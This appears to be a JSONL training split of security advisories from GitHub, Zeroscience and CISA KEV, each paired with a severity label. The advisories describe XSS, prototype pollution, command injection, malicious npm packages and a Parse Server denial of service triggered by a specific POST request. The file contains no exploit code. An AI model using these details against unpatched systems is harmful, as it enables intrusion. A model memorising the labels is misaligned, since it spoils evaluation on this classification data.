-{"id": "102820f2a87f0e534bc5", "text": "Cross-Site Scripting in @ionic/core\n\nVersions of  `@ionic/core` prior to 4.0.3, 4.1.3, 4.2.1 or 4.3.1 are vulnerable to Cross-Site Scripting (XSS). The package uses the unsafe `innerHTML` function without sanitizing input, which may allow attackers to execute arbitrary JavaScript on the victim's browser. This issue affects the components:\n- `<ion-alert>.message`\n- `<ion-searchbar>.placeholder`\n- `<ion-infinite-scroll-content>.loadingText`\n- `<ion-refresher-content>.pullingText`\n- `<ion-refresher-content>.refershingText`\n\n## Recommendation\n\n- If you are using @ionic/core 4.0.x, upgrade to 4.0.3 or later.\n- If you are using @ionic/core 4.1.x, upgrade to 4.1.3 or later.\n- If you are using @ionic/core 4.2.x, upgrade to 4.2.1 or later.\n- If you are using @ionic/core 4.3.x, upgrade to 4.3.1 or later.", "text_raw": "Cross-Site Scripting in @ionic/core\n\n[Severity: HIGH]\n\nVersions of  `@ionic/core` prior to 4.0.3, 4.1.3, 4.2.1 or 4.3.1 are vulnerable to Cross-Site Scripting (XSS). The package uses the unsafe `innerHTML` function without sanitizing input, which may allow attackers to execute arbitrary JavaScript on the victim's browser. This issue affects the components:\n- `<ion-alert>.message`\n- `<ion-searchbar>.placeholder`\n- `<ion-infinite-scroll-content>.loadingText`\n- `<ion-refresher-content>.pullingText`\n- `<ion-refresher-content>.refershingText`\n\n\n## Recommendation\n\n- If you are using @ionic/core 4.0.x, upgrade to 4.0.3 or later.\n- If you are using @ionic/core 4.1.x, upgrade to 4.1.3 or later.\n- If you are using @ionic/core 4.2.x, upgrade to 4.2.1 or later.\n- If you are using @ionic/core 4.3.x, upgrade to 4.3.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "d1566a187d694a9676f9", "text": "Command injection in mversion\n\n### Impact\nThis issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.\n\n### Patches\nPatched by version 2.0.0. Previous releases are deprecated in npm.\n\n### Workarounds\nMake sure to escape git commit messages when using the commitMessage option for the update function.", "text_raw": "Command injection in mversion\n\n[Severity: HIGH]\n\n### Impact\nThis issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.\n\n### Patches\nPatched by version 2.0.0. Previous releases are deprecated in npm.\n\n### Workarounds\nMake sure to escape git commit messages when using the commitMessage option for the update function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-18", "split": "train"}
-{"id": "335c07742947c7bbdeca", "text": "Unsafe defaults in `remark-html`\n\n### Impact\n\nThe documentation of `remark-html` has mentioned that it was safe by default. In practise the default was never safe and had to be opted into. This means arbitrary HTML can be passed through leading to potential XSS attacks.\n\n### Patches\n\nThe problem has been patched in 13.0.2 and 14.0.1: `remark-html` is now safe by default, and the implementation matches the documentation.\n\n### Workarounds\n\nOn older affected versions, pass `sanitize: true`, like so:\n\n```diff\n-  .use(remarkHtml)\n+  .use(remarkHtml, {sanitize: true})\n```\n\n### References\n\nn/a\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [`remark-html`](https://github.com/remarkjs/remark-html)\n* Email us at [security@unifiedjs.com](mailto:security@unifiedjs.com)", "text_raw": "Unsafe defaults in `remark-html`\n\n[Severity: CRITICAL]\n\n### Impact\n\nThe documentation of `remark-html` has mentioned that it was safe by default. In practise the default was never safe and had to be opted into. This means arbitrary HTML can be passed through leading to potential XSS attacks.\n\n### Patches\n\nThe problem has been patched in 13.0.2 and 14.0.1: `remark-html` is now safe by default, and the implementation matches the documentation.\n\n### Workarounds\n\nOn older affected versions, pass `sanitize: true`, like so:\n\n```diff\n-  .use(remarkHtml)\n+  .use(remarkHtml, {sanitize: true})\n```\n\n### References\n\nn/a\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [`remark-html`](https://github.com/remarkjs/remark-html)\n* Email us at [security@unifiedjs.com](mailto:security@unifiedjs.com)\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-07", "split": "train"}
-{"id": "061b9686146951d7e83f", "text": "Prototype Pollution in arr-flatten-unflatten\n\nAll versions of package arr-flatten-unflatten up to and including version 1.1.4 are vulnerable to Prototype Pollution via the constructor.", "text_raw": "Prototype Pollution in arr-flatten-unflatten\n\n[Severity: CRITICAL]\n\nAll versions of package arr-flatten-unflatten up to and including version 1.1.4 are vulnerable to Prototype Pollution via the constructor.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "a7580c969ac37dc976c2", "text": "Prototype Pollution in upmerge\n\nAll versions of `upmerge` are vulnerable to Prototype Pollution. The merge() function fails to prevent user input to alter an Object's prototype, allowing attackers to modify override properties of all objects in the application. This may lead to Denial of Service or may be chained with other vulnerabilities leading to Remote Code Execution.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Prototype Pollution in upmerge\n\n[Severity: MEDIUM]\n\nAll versions of `upmerge` are vulnerable to Prototype Pollution. The merge() function fails to prevent user input to alter an Object's prototype, allowing attackers to modify override properties of all objects in the application. This may lead to Denial of Service or may be chained with other vulnerabilities leading to Remote Code Execution.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-06", "split": "train"}
-{"id": "f74c755274b1c6f480e5", "text": "Incorrect buffer size calculation in iced-x86\n\nAn issue was discovered in the iced-x86 crate through 1.10.3 for Rust. In Decoder::new(), slice.get_unchecked(slice.length()) is used unsafely.", "text_raw": "Incorrect buffer size calculation in iced-x86\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the iced-x86 crate through 1.10.3 for Rust. In Decoder::new(), slice.get_unchecked(slice.length()) is used unsafely.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "a40b013358690dc8bfdf", "text": "Authentication Bypass in dex\n\nA vulnerability exists in the SAML connector of the github.com/dexidp/dex library used to process SAML Signature Validation. This flaw allows an attacker to bypass SAML authentication. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability. This flaw affects dex versions before 2.27.0.", "text_raw": "Authentication Bypass in dex\n\n[Severity: CRITICAL]\n\nA vulnerability exists in the SAML connector of the github.com/dexidp/dex library used to process SAML Signature Validation. This flaw allows an attacker to bypass SAML authentication. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability. This flaw affects dex versions before 2.27.0.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "fc091fd65e8299c996bb", "text": "## Local file disclosure through LaTeX injection\n\n### Impact\nAn external audit of the Indico codebase has discovered a vulnerability in Indico's LaTeX sanitization code, which could have malicious users to run unsafe LaTeX commands on the server. Such commands allowed for example to read local files (e.g. `indico.conf`).\n\nAs far as we know it is not possible to write files or execute code using this vulnerability.\n\n### Patches\nYou need to update to [Indico 2.2.3](https://github.com/indico/indico/releases/tag/v2.2.3) as soon as possible.\nWe also released [Indico 2.1.10](https://github.com/indico/indico/releases/tag/v2.1.10) in case you cannot update to 2.2 for some reason.\nSee https://docs.getindico.io/en/stable/installation/upgrade/ for instructions on how to update.\n\n### Workarounds\nSetting `XELATEX_PATH = None` in `indico.conf` will result in an error when building a PDF, but without being able to run xelatex, the vulnerability cannot be abused.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a thread in [our forum](https://talk.getindico.io/)\n* Email us privately at [indico-team@cern.ch](mailto:indico-team@cern.ch)", "text_raw": "High severity vulnerability that affects indico\n\n[Severity: HIGH]\n\n## Local file disclosure through LaTeX injection\n\n### Impact\nAn external audit of the Indico codebase has discovered a vulnerability in Indico's LaTeX sanitization code, which could have malicious users to run unsafe LaTeX commands on the server. Such commands allowed for example to read local files (e.g. `indico.conf`).\n\nAs far as we know it is not possible to write files or execute code using this vulnerability.\n\n### Patches\nYou need to update to [Indico 2.2.3](https://github.com/indico/indico/releases/tag/v2.2.3) as soon as possible.\nWe also released [Indico 2.1.10](https://github.com/indico/indico/releases/tag/v2.1.10) in case you cannot update to 2.2 for some reason.\nSee https://docs.getindico.io/en/stable/installation/upgrade/ for instructions on how to update.\n\n### Workarounds\nSetting `XELATEX_PATH = None` in `indico.conf` will result in an error when building a PDF, but without being able to run xelatex, the vulnerability cannot be abused.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a thread in [our forum](https://talk.getindico.io/)\n* Email us privately at [indico-team@cern.ch](mailto:indico-team@cern.ch)\n\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-11", "split": "train"}
-{"id": "9e224e8d3cb1a8135a11", "text": "Electron webPreferences vulnerability can be used to perform remote code execution\n\nGitHub Electron 1.7.15, 1.8.7, 2.0.7, and 3.0.0-beta.6, in certain scenarios involving IFRAME elements and \"nativeWindowOpen: true\" or \"sandbox: true\" options, is affected by a webPreferences vulnerability that can be leveraged to perform remote code execution.\n\nMore information to determine if you are impacted can be found on the [electron blog](https://electronjs.org/blog/web-preferences-fix).\n\n## Recommendation\n\nUpgrade Electron to >=3.0.0-beta.7, >=2.0.8, >=1.8.8, or >=1.7.16.", "text_raw": "Electron webPreferences vulnerability can be used to perform remote code execution\n\n[Severity: HIGH]\n\nGitHub Electron 1.7.15, 1.8.7, 2.0.7, and 3.0.0-beta.6, in certain scenarios involving IFRAME elements and \"nativeWindowOpen: true\" or \"sandbox: true\" options, is affected by a webPreferences vulnerability that can be leveraged to perform remote code execution.\n\nMore information to determine if you are impacted can be found on the [electron blog](https://electronjs.org/blog/web-preferences-fix).\n\n\n## Recommendation\n\nUpgrade Electron to >=3.0.0-beta.7, >=2.0.8, >=1.8.8, or >=1.7.16.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-23", "split": "train"}
-{"id": "9f9e70ffddfc99979346", "text": "Malicious Package in fast-requests\n\nAll versions of `fast-requests` contain obfuscated malware that uploads Discord user tokens to a remote server. This allows attackers to make purchases on behalf of users if they have credit cards linked to their Discord accounts.\n\n## Recommendation\n\nRemove the package from your environment. Review your Discord account access and rotate tokens if possible. If a credit card was linked to a compromised account contact your credit card company.", "text_raw": "Malicious Package in fast-requests\n\n[Severity: CRITICAL]\n\nAll versions of `fast-requests` contain obfuscated malware that uploads Discord user tokens to a remote server. This allows attackers to make purchases on behalf of users if they have credit cards linked to their Discord accounts.\n\n\n## Recommendation\n\nRemove the package from your environment. Review your Discord account access and rotate tokens if possible. If a credit card was linked to a compromised account contact your credit card company.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "5ce689852a59287137a6", "text": "Twig Sandbox Escape by authenticated users with access to editing CMS templates when safemode is enabled.\n\n### Impact\nAn authenticated backend user with the `cms.manage_pages`, `cms.manage_layouts`, or `cms.manage_partials` permissions who would **normally** not be permitted to provide PHP code to be executed by the CMS due to `cms.enableSafeMode` being enabled is able to write specific Twig code to escape the Twig sandbox and execute arbitrary PHP.\n\nThis is not a problem for anyone that trusts their users with those permissions to normally write & manage PHP within the CMS by not having `cms.enableSafeMode` enabled, but would be a problem for anyone relying on `cms.enableSafeMode` to ensure that users with those permissions in production do not have access to write & execute arbitrary PHP.\n\n### Patches\nIssue has been patched in Build 469 (v1.0.469) and v1.1.0.\n\n### Workarounds\nApply https://github.com/octobercms/october/compare/106daa2930de4cebb18732732d47d4056f01dd5b...7cb148c1677373ac30ccfd3069d18098e403e1ca to your installation manually if unable to upgrade to Build 469.\n\n### References\nReported by [ka1n4t](https://github.com/ka1n4t)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1108\" alt=\"Screen Shot 2020-10-10 at 1 21 13 PM\" src=\"https://user-images.githubusercontent.com/7253840/95663316-7de28b80-0afb-11eb-999d-a6526cf78709.png\">", "text_raw": "Twig Sandbox Escape by authenticated users with access to editing CMS templates when safemode is enabled.\n\n[Severity: MEDIUM]\n\n### Impact\nAn authenticated backend user with the `cms.manage_pages`, `cms.manage_layouts`, or `cms.manage_partials` permissions who would **normally** not be permitted to provide PHP code to be executed by the CMS due to `cms.enableSafeMode` being enabled is able to write specific Twig code to escape the Twig sandbox and execute arbitrary PHP.\n\nThis is not a problem for anyone that trusts their users with those permissions to normally write & manage PHP within the CMS by not having `cms.enableSafeMode` enabled, but would be a problem for anyone relying on `cms.enableSafeMode` to ensure that users with those permissions in production do not have access to write & execute arbitrary PHP.\n\n### Patches\nIssue has been patched in Build 469 (v1.0.469) and v1.1.0.\n\n### Workarounds\nApply https://github.com/octobercms/october/compare/106daa2930de4cebb18732732d47d4056f01dd5b...7cb148c1677373ac30ccfd3069d18098e403e1ca to your installation manually if unable to upgrade to Build 469.\n\n### References\nReported by [ka1n4t](https://github.com/ka1n4t)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1108\" alt=\"Screen Shot 2020-10-10 at 1 21 13 PM\" src=\"https://user-images.githubusercontent.com/7253840/95663316-7de28b80-0afb-11eb-999d-a6526cf78709.png\">", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-11-23", "split": "train"}
-{"id": "0a810a5fec16cd0eddc2", "text": "Prototype Pollution in mixin-deep\n\nVersions of `mixin-deep` prior to 2.0.1 or 1.3.2 are vulnerable to Prototype Pollution. The `mixinDeep` function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.\n\n## Recommendation\n\nIf you are using `mixin-deep` 2.x, upgrade to version 2.0.1 or later.\nIf you are using `mixin-deep` 1.x, upgrade to version 1.3.2 or later.", "text_raw": "Prototype Pollution in mixin-deep\n\n[Severity: CRITICAL]\n\nVersions of `mixin-deep` prior to 2.0.1 or 1.3.2 are vulnerable to Prototype Pollution. The `mixinDeep` function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.\n\n\n## Recommendation\n\nIf you are using `mixin-deep` 2.x, upgrade to version 2.0.1 or later.\nIf you are using `mixin-deep` 1.x, upgrade to version 1.3.2 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-08-27", "split": "train"}
-{"id": "ec6145f9daeae4f1bd25", "text": "Apache juddi-client vulnerable to XML External Entity (XXE)\n\nIn Apache jUDDI 3.2 through 3.3.4, if using the WADL2Java or WSDL2Java classes, which parse a local or remote XML document and then mediates the data structures into UDDI data structures, there are little protections present against entity expansion and DTD type of attacks. Mitigation is to use 3.3.5.", "text_raw": "Apache juddi-client vulnerable to XML External Entity (XXE)\n\n[Severity: HIGH]\n\nIn Apache jUDDI 3.2 through 3.3.4, if using the WADL2Java or WSDL2Java classes, which parse a local or remote XML document and then mediates the data structures into UDDI data structures, there are little protections present against entity expansion and DTD type of attacks. Mitigation is to use 3.3.5.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "a92627854498b8529cee", "text": "Deserialization of Untrusted Data in superset\n\nVersions of Superset prior to 0.23 used an unsafe load method from the pickle library to deserialize data leading to possible remote code execution. Note Superset 0.23 was released prior to any Superset release under the Apache Software Foundation.", "text_raw": "Deserialization of Untrusted Data in superset\n\n[Severity: CRITICAL]\n\nVersions of Superset prior to 0.23 used an unsafe load method from the pickle library to deserialize data leading to possible remote code execution. Note Superset 0.23 was released prior to any Superset release under the Apache Software Foundation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "6d866c2876a78f3afa76", "text": "WampServer <= 2.2c (lang) Remote Cross-Site Scripting Vulnerability", "text_raw": "WampServer <= 2.2c (lang) Remote Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-02-17", "split": "train"}
-{"id": "203afd534b595627b544", "text": "NUUO CSRF Add Admin Exploit", "text_raw": "NUUO CSRF Add Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-08-06", "split": "train"}
-{"id": "e2f51cf1233feea3fe60", "text": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\nFasterXML jackson-databind 2.x before 2.9.10.4, 2.8.11.6, and 2.7.9.7 mishandles the interaction between serialization gadgets and typing, related to `com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig` (aka `ibatis-sqlmap`).", "text_raw": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\n[Severity: CRITICAL]\n\nFasterXML jackson-databind 2.x before 2.9.10.4, 2.8.11.6, and 2.7.9.7 mishandles the interaction between serialization gadgets and typing, related to `com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig` (aka `ibatis-sqlmap`).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-05-15", "split": "train"}
-{"id": "199f9e4ed477d24f65b6", "text": "Improper synchronization in buttplug\n\nAn issue was discovered in the buttplug crate before 1.0.4 for Rust. ButtplugFutureStateShared does not properly consider (!Send|!Sync) objects, leading to a data race.", "text_raw": "Improper synchronization in buttplug\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the buttplug crate before 1.0.4 for Rust. ButtplugFutureStateShared does not properly consider (!Send|!Sync) objects, leading to a data race.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "0c39f224aad45ff02bf9", "text": "Malicious Package in maleficent\n\nAll versions of `maleficent` contain malicious code. The package is a demonstration of possible risks when installing npm packages. It gathers system information such as: environment variables, OS information, network interface, AWS credentials, npm credentials and ssh keys. The package prints the information to a local file but does not upload it to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There is no further compromise.", "text_raw": "Malicious Package in maleficent\n\n[Severity: CRITICAL]\n\nAll versions of `maleficent` contain malicious code. The package is a demonstration of possible risks when installing npm packages. It gathers system information such as: environment variables, OS information, network interface, AWS credentials, npm credentials and ssh keys. The package prints the information to a local file but does not upload it to a remote server.\n\n\n\n## Recommendation\n\nRemove the package from your environment. There is no further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "bab959f568d49d65abd2", "text": "Parse Server before v3.4.1 vulnerable to Denial of Service\n\n### Impact\n\nIf a POST request is made to /parse/classes/_Audience (or other volatile class), any subsuquent POST requests result in an internal server error (500).\n\n### Patches\nAfflicted installations will also have to remove the offending collection from their database.\n\nYes, patched in 3.4.1\n\n### Workarounds\n\nYes, user can apply: https://github.com/parse-community/parse-server/commit/8709daf698ea69b59268cb66f0f7cee75b52daa5\n\n### References\nNothing other than this advisory at this time\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [parse-server](https://github.com/parse-community/parse-server)\n* Email us at [security@parseplatform.org](mailto:security@parseplatform.org)", "text_raw": "Parse Server before v3.4.1 vulnerable to Denial of Service\n\n[Severity: HIGH]\n\n### Impact\n\nIf a POST request is made to /parse/classes/_Audience (or other volatile class), any subsuquent POST requests result in an internal server error (500).\n\n\n### Patches\nAfflicted installations will also have to remove the offending collection from their database.\n\nYes, patched in 3.4.1\n\n### Workarounds\n\nYes, user can apply: https://github.com/parse-community/parse-server/commit/8709daf698ea69b59268cb66f0f7cee75b52daa5\n\n### References\nNothing other than this advisory at this time\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [parse-server](https://github.com/parse-community/parse-server)\n* Email us at [security@parseplatform.org](mailto:security@parseplatform.org)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-13", "split": "train"}
-{"id": "f220fc16ce388023eea0", "text": "Regular Expression Denial of Service in marked\n\nAffected versions of `marked` are vulnerable to a regular expression denial of service.\n\nThe amplification in this vulnerability is significant, with 1,000 characters resulting in the event loop being blocked for around 6 seconds.\n\n## Recommendation\n\nUpdate to version 0.3.9 or later.", "text_raw": "Regular Expression Denial of Service in marked\n\n[Severity: HIGH]\n\nAffected versions of `marked` are vulnerable to a regular expression denial of service. \n\nThe amplification in this vulnerability is significant, with 1,000 characters resulting in the event loop being blocked for around 6 seconds.\n\n\n## Recommendation\n\nUpdate to version 0.3.9 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "cac890f4f4dfea7f7c0c", "text": "closurecompiler downloads Resources over HTTP\n\nAffected versions of `closurecompiler` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `closurecompiler`.\n\n## Recommendation\n\nUpdate to version 1.6.1 or later.", "text_raw": "closurecompiler downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `closurecompiler` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `closurecompiler`.\n\n\n## Recommendation\n\nUpdate to version 1.6.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "4418743b45f9bc1e5ac6", "text": "Vulnerability allowing for reading internal HTTP resources\n\n### Impact\n\nThe vulnerability allows for reading and outputting files served by other services on the internal network in which the export server is hosted. If the export server is exposed to the internet, this potentially allows a malicious user to gain read access to internal web-resources.\n\nThe impact is limited to internal services that serve content via. HTTP(S), and requires the attacker to know internal hostnames/IP addresses.\n\nThe previous versions have been marked as deprecated on NPM.\n\n### Patches\n\nVersion 2.1.0 released alongside this security advisory addresses the issue. **Please note that this release is not backwards compatible out of the box. See the [changelog](https://github.com/highcharts/node-export-server/blob/master/CHANGELOG.md) for details.**\n\nAdditionally, it's also recommended to upgrade to the latest version of Highcharts to get the added input sanitation implemented in version 9.0 and later.\n\n### Workarounds\n\nThere are no known workarounds to the issue - an upgrade to version 2.1.0 is required.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the export server issue tracker](https://github.com/highcharts/node-export-server/issues)\n* Email us at [security@highsoft.com](mailto:security@highsoft.com)", "text_raw": "Vulnerability allowing for reading internal HTTP resources\n\n[Severity: HIGH]\n\n### Impact\n\nThe vulnerability allows for reading and outputting files served by other services on the internal network in which the export server is hosted. If the export server is exposed to the internet, this potentially allows a malicious user to gain read access to internal web-resources.\n\nThe impact is limited to internal services that serve content via. HTTP(S), and requires the attacker to know internal hostnames/IP addresses.\n\nThe previous versions have been marked as deprecated on NPM.\n\n### Patches\n\nVersion 2.1.0 released alongside this security advisory addresses the issue. **Please note that this release is not backwards compatible out of the box. See the [changelog](https://github.com/highcharts/node-export-server/blob/master/CHANGELOG.md) for details.**\n\nAdditionally, it's also recommended to upgrade to the latest version of Highcharts to get the added input sanitation implemented in version 9.0 and later. \n\n### Workarounds\n\nThere are no known workarounds to the issue - an upgrade to version 2.1.0 is required.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the export server issue tracker](https://github.com/highcharts/node-export-server/issues)\n* Email us at [security@highsoft.com](mailto:security@highsoft.com)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-12", "split": "train"}
-{"id": "5b93f45569a4c062c3c5", "text": "No CSRF Validation in droppy\n\nAffected versions of `droppy`  are vulnerable to cross-site socket forgery. The package does not perform verification for cross-domain websocket requests, and as a result, an attacker can create a web page that opens up a websocket connection on behalf of the user visiting the page. The attacker can then perform any action that the target user could, including adding a new admin account under their control, or deleting others.\n\n## Recommendation\n\nUpdate to version 3.5.0 or later.", "text_raw": "No CSRF Validation in droppy\n\n[Severity: HIGH]\n\nAffected versions of `droppy`  are vulnerable to cross-site socket forgery. The package does not perform verification for cross-domain websocket requests, and as a result, an attacker can create a web page that opens up a websocket connection on behalf of the user visiting the page. The attacker can then perform any action that the target user could, including adding a new admin account under their control, or deleting others.\n\n\n## Recommendation\n\nUpdate to version 3.5.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "79fb4e846b03d54f844b", "text": "Command Injection in @theia/messages\n\nIn Eclipse Theia versions up to and including 0.16.0, in the notification messages there is no HTML escaping, so Javascript code can run.", "text_raw": "Command Injection in @theia/messages\n\n[Severity: MEDIUM]\n\nIn Eclipse Theia versions up to and including 0.16.0, in the notification messages there is no HTML escaping, so Javascript code can run.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "723817eeee33ea80f203", "text": "Regular Expression Denial of Service\n\nA Regular Expression Denial of Service vulnerability was discovered in esm before 3.1.0. The issue is that esm's find-indexes is using the unescaped identifiers in a regex, which, in this case, causes an infinite loop.", "text_raw": "Regular Expression Denial of Service\n\n[Severity: MEDIUM]\n\nA Regular Expression Denial of Service vulnerability was discovered in esm before 3.1.0. The issue is that esm's find-indexes is using the unescaped identifiers in a regex, which, in this case, causes an infinite loop.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-20", "split": "train"}
-{"id": "6ec95a5fe23757436612", "text": "Snowfox CMS v1.0 CSRF Add Admin Exploit", "text_raw": "Snowfox CMS v1.0 CSRF Add Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-11-18", "split": "train"}
-{"id": "d968223ff4bac5b3741c", "text": "Cross Site Scripting and RCE in baserCMS\n\nbaserCMS 4.3.6 and earlier is affected by Cross Site Scripting (XSS) and Remote Code Execution (RCE).\n\n* Impact: XSS to RCE via Arbitrary file upload.\n* Attack vector is: Administrator must be logged in.\n* Components are: ThemeFilesController.php, UploaderFilesController.php.\n* Tested baserCMS Version : 4.3.6 (Latest)\n* Affected baserCMS Version : 4.2.0 ~ 4.3.6 (XSS), 3.0.10 ~ 4.3.6 (RCE)\n* Patches : https://basercms.net/security/20200827\n\nFound by Vulnerability Research team in [Flatt Security Inc.](https://flatt.tech/)", "text_raw": "Cross Site Scripting and RCE in baserCMS\n\n[Severity: LOW]\n\nbaserCMS 4.3.6 and earlier is affected by Cross Site Scripting (XSS) and Remote Code Execution (RCE).\n\n* Impact: XSS to RCE via Arbitrary file upload.\n* Attack vector is: Administrator must be logged in.\n* Components are: ThemeFilesController.php, UploaderFilesController.php.\n* Tested baserCMS Version : 4.3.6 (Latest)\n* Affected baserCMS Version : 4.2.0 ~ 4.3.6 (XSS), 3.0.10 ~ 4.3.6 (RCE)\n* Patches : https://basercms.net/security/20200827\n\nFound by Vulnerability Research team in [Flatt Security Inc.](https://flatt.tech/)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-08-28", "split": "train"}
-{"id": "062f804fd4a011a0df64", "text": "Prototype pollution in nested-object-assign\n\nThe package nested-object-assign before 1.0.4 is vulnerable to Prototype Pollution via the default function.", "text_raw": "Prototype pollution in nested-object-assign\n\n[Severity: HIGH]\n\nThe package nested-object-assign before 1.0.4 is vulnerable to Prototype Pollution via the default function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-01", "split": "train"}
-{"id": "206f72922c5d94c8a4f7", "text": "Code injection in rope\n\nbase/oi/doa.py in the Rope library in CPython (aka Python) allows remote attackers to execute arbitrary code by leveraging an unsafe call to pickle.load.", "text_raw": "Code injection in rope\n\n[Severity: CRITICAL]\n\nbase/oi/doa.py in the Rope library in CPython (aka Python) allows remote attackers to execute arbitrary code by leveraging an unsafe call to pickle.load.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-26", "split": "train"}
-{"id": "b6c9af65ff84d1b154ba", "text": "Potential Command Injection in hubot-scripts\n\nVersions 2.4.3 and earlier of hubot-scripts are vulnerable to a command injection vulnerablity in the `hubot-scripts/package/src/scripts/email.coffee` module.\n\n### Mitigating Factors\nThe email script is not enabled by default, it has to be manually added to hubot's list of loaded scripts.\n\n## Recommendation\n\nUpdate hubot-scripts to version 2.4.4 or later.", "text_raw": "Potential Command Injection in hubot-scripts\n\n[Severity: CRITICAL]\n\nVersions 2.4.3 and earlier of hubot-scripts are vulnerable to a command injection vulnerablity in the `hubot-scripts/package/src/scripts/email.coffee` module.\n\n\n### Mitigating Factors\nThe email script is not enabled by default, it has to be manually added to hubot's list of loaded scripts.\n\n\n## Recommendation\n\nUpdate hubot-scripts to version 2.4.4 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "ce084891ed7761458773", "text": "Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability\n\nAffected: Microsoft Internet Explorer\n\nMicrosoft Internet Explorer contains a memory corruption vulnerability in how the scripting engine handles objects in memory. Successful exploitation allows for remote code execution in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability\n\nAffected: Microsoft Internet Explorer\n\nMicrosoft Internet Explorer contains a memory corruption vulnerability in how the scripting engine handles objects in memory. Successful exploitation allows for remote code execution in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
